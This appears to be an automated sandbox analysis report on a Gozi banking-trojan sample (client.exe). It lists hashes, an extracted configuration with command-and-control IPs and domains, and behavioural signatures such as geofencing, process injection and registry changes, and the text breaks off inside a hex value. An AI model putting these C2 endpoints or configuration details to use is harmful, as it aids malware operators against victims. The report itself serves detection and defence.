Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
03-10-2023 11:55
Static task
static1
Behavioral task
behavioral1
Sample
client.exe
Resource
win7-20230831-en
General
-
Target
client.exe
-
Size
294KB
-
MD5
bb35f8c1a3236ad31c754cdfe795d57f
-
SHA1
b744f8ae31e2b3f7c3b72b9615823a3a3ad02989
-
SHA256
5cd96f6b1e6a4a172d852a7bcf5ad10bf029e135061f0ae5105f45a9920089a2
-
SHA512
fcb8f4458b7a5a4a2536a22ad55e4564ffe3d3327e4eefca10a30bc490ae29c8cc31760e07d567de53150090c84bb171209f1f3811f22d3f69545beb15edd0b0
-
SSDEEP
3072:4e6lIjmvg7aaCIg0JHk8D8uNhUqHAMMQKL2H/NHIS:4blIavYaaCIg6h/NhUDAHlH
Malware Config
Extracted
gozi
Extracted
gozi
5050
185.247.184.139
62.72.33.155
incontroler.com
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
Extracted
gozi
5050
expirew.com
whofos.com
onlinepoints.online
onlinepoints.top
-
base_path
/pictures/
-
build
250260
-
exe_type
worker
-
extension
.bob
-
server_id
50
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation mshta.exe -
Suspicious use of SetThreadContext 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exedescription pid process target process PID 4108 set thread context of 3248 4108 powershell.exe Explorer.EXE PID 3248 set thread context of 3788 3248 Explorer.EXE RuntimeBroker.exe PID 3248 set thread context of 4068 3248 Explorer.EXE RuntimeBroker.exe PID 3248 set thread context of 4920 3248 Explorer.EXE RuntimeBroker.exe PID 3248 set thread context of 5088 3248 Explorer.EXE RuntimeBroker.exe PID 3248 set thread context of 3816 3248 Explorer.EXE cmd.exe PID 3248 set thread context of 5052 3248 Explorer.EXE cmd.exe PID 3816 set thread context of 1440 3816 cmd.exe PING.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1248 768 WerFault.exe client.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3cce1b8a-b953-416c-a = 09efaab3f0f5d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bc7db290-1602-4a29-9 = "0" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5f155639-87f5-492a-9 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 = 4fa0a1b3f0f5d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1324e2b7-a511-47d2-8 = f45f9bb2f0f5d901 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8da67c43-a152-4ca0-b = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\38fbe7a9599795bbceb795289a90c8cec699e1922a2b061245a895c9bf25e9ab" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bda781b5-7f70-44ca-9 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bda781b5-7f70-44ca-9 = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ad164738-6c59-477e-9 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\940c95672bbfd56da8f577aad9f9c6d23720e04623cdf5c5dc3327b633871224" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b428eb6d-2bd2-4ce0-8 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\318df65f1919a507be86ce09f90ddf7d7549a2b28b0512e1e3ade05543f5fb57" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8da67c43-a152-4ca0-b = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 = 50c395b3f0f5d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5f155639-87f5-492a-9 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\17e1d838198173756dde0b1655f323ddbca9f8309e2b0dcbd426ab1ef87f508a" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bc7db290-1602-4a29-9 = "8324" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bc7db290-1602-4a29-9 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5f155639-87f5-492a-9 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bc7db290-1602-4a29-9 = 0cadffb3f0f5d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1324e2b7-a511-47d2-8 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bc7db290-1602-4a29-9 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b428eb6d-2bd2-4ce0-8 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d64998fb093675b065df52d904c8f59bf2141248664767d08863ae24789e7d24" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9bf1c9e1-8283-4715-9 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8da67c43-a152-4ca0-b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ec4a0fe4206619b12c77091bf5d3dbb19a4e1a03e7701720c4667097e0e8edb7" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1324e2b7-a511-47d2-8 = "\\\\?\\Volume{68140B53-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\d64998fb093675b065df52d904c8f59bf2141248664767d08863ae24789e7d24" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e3c03f65-65c2-43c1-9 = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8da67c43-a152-4ca0-b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3cce1b8a-b953-416c-a = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b428eb6d-2bd2-4ce0-8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0629baef-1529-4852-8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b = "0" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8d245db4-dd01-488e-8 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e27e1db3f0f5d9015bb856b3f0f5d9015bb856b3f0f5d901dd5805000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000313765316438333831393831373337353664646530623136353566333233646462636139663833303965326230646362643432366162316566383766353038610000b20009000400efbe43571b5f43571b5f2e00000000000000000000000000000000000000000000000000e4920101310037006500310064003800330038003100390038003100370033003700350036006400640065003000620031003600350035006600330032003300640064006200630061003900660038003300300039006500320062003000640063006200640034003200360061006200310065006600380037006600350030003800610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c31376531643833383139383137333735366464653062313635356633323364646263613966383330396532623064636264343236616231656638376635303861000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8ae5386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8ae5386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bda781b5-7f70-44ca-9 = b2e4cfb3f0f5d901 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bda781b5-7f70-44ca-9 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000096a443b3f0f5d901d66767b3f0f5d901d66767b3f0f5d901ee7903000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000333866626537613935393937393562626365623739353238396139306338636563363939653139323261326230363132343561383935633962663235653961620000b20009000400efbe43571b5f43571b5f2e000000000000000000000000000000000000000000000000006ba7f500330038006600620065003700610039003500390039003700390035006200620063006500620037003900350032003800390061003900300063003800630065006300360039003900650031003900320032006100320062003000360031003200340035006100380039003500630039006200660032003500650039006100620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33386662653761393539393739356262636562373935323839613930633863656336393965313932326132623036313234356138393563396266323565396162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8ae8386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8ae8386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003900310039003200350034003400390032002d0033003900370039003200390033003900390037002d003700360034003400300037003100390032002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000530b1468000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b428eb6d-2bd2-4ce0-8 = 2a7ab1b2f0f5d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\9347540e-5b99-41bd-b = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3cce1b8a-b953-416c-a = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000fa8f30b3f0f5d901f15554b3f0f5d901f15554b3f0f5d901918804000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad0132000000000043571b5f2000333138646636356631393139613530376265383663653039663930646466376437353439613262323862303531326531653361646530353534336635666235370000b20009000400efbe43571b5f43571b5f2e00000000000000000000000000000000000000000000000000f87d0d01330031003800640066003600350066003100390031003900610035003000370062006500380036006300650030003900660039003000640064006600370064003700350034003900610032006200320038006200300035003100320065003100650033006100640065003000350035003400330066003500660062003500370000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007381399d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33313864663635663139313961353037626538366365303966393064646637643735343961326232386230353132653165336164653035353433663566623537000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736d696a776a6d68000000000000000052d8063eedfcdf448a23f9f8aed1bb8ae7386a569853ee11941e7257cd168fac52d8063eedfcdf448a23f9f8aed1bb8ae7386a569853ee11941e7257cd168facce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d00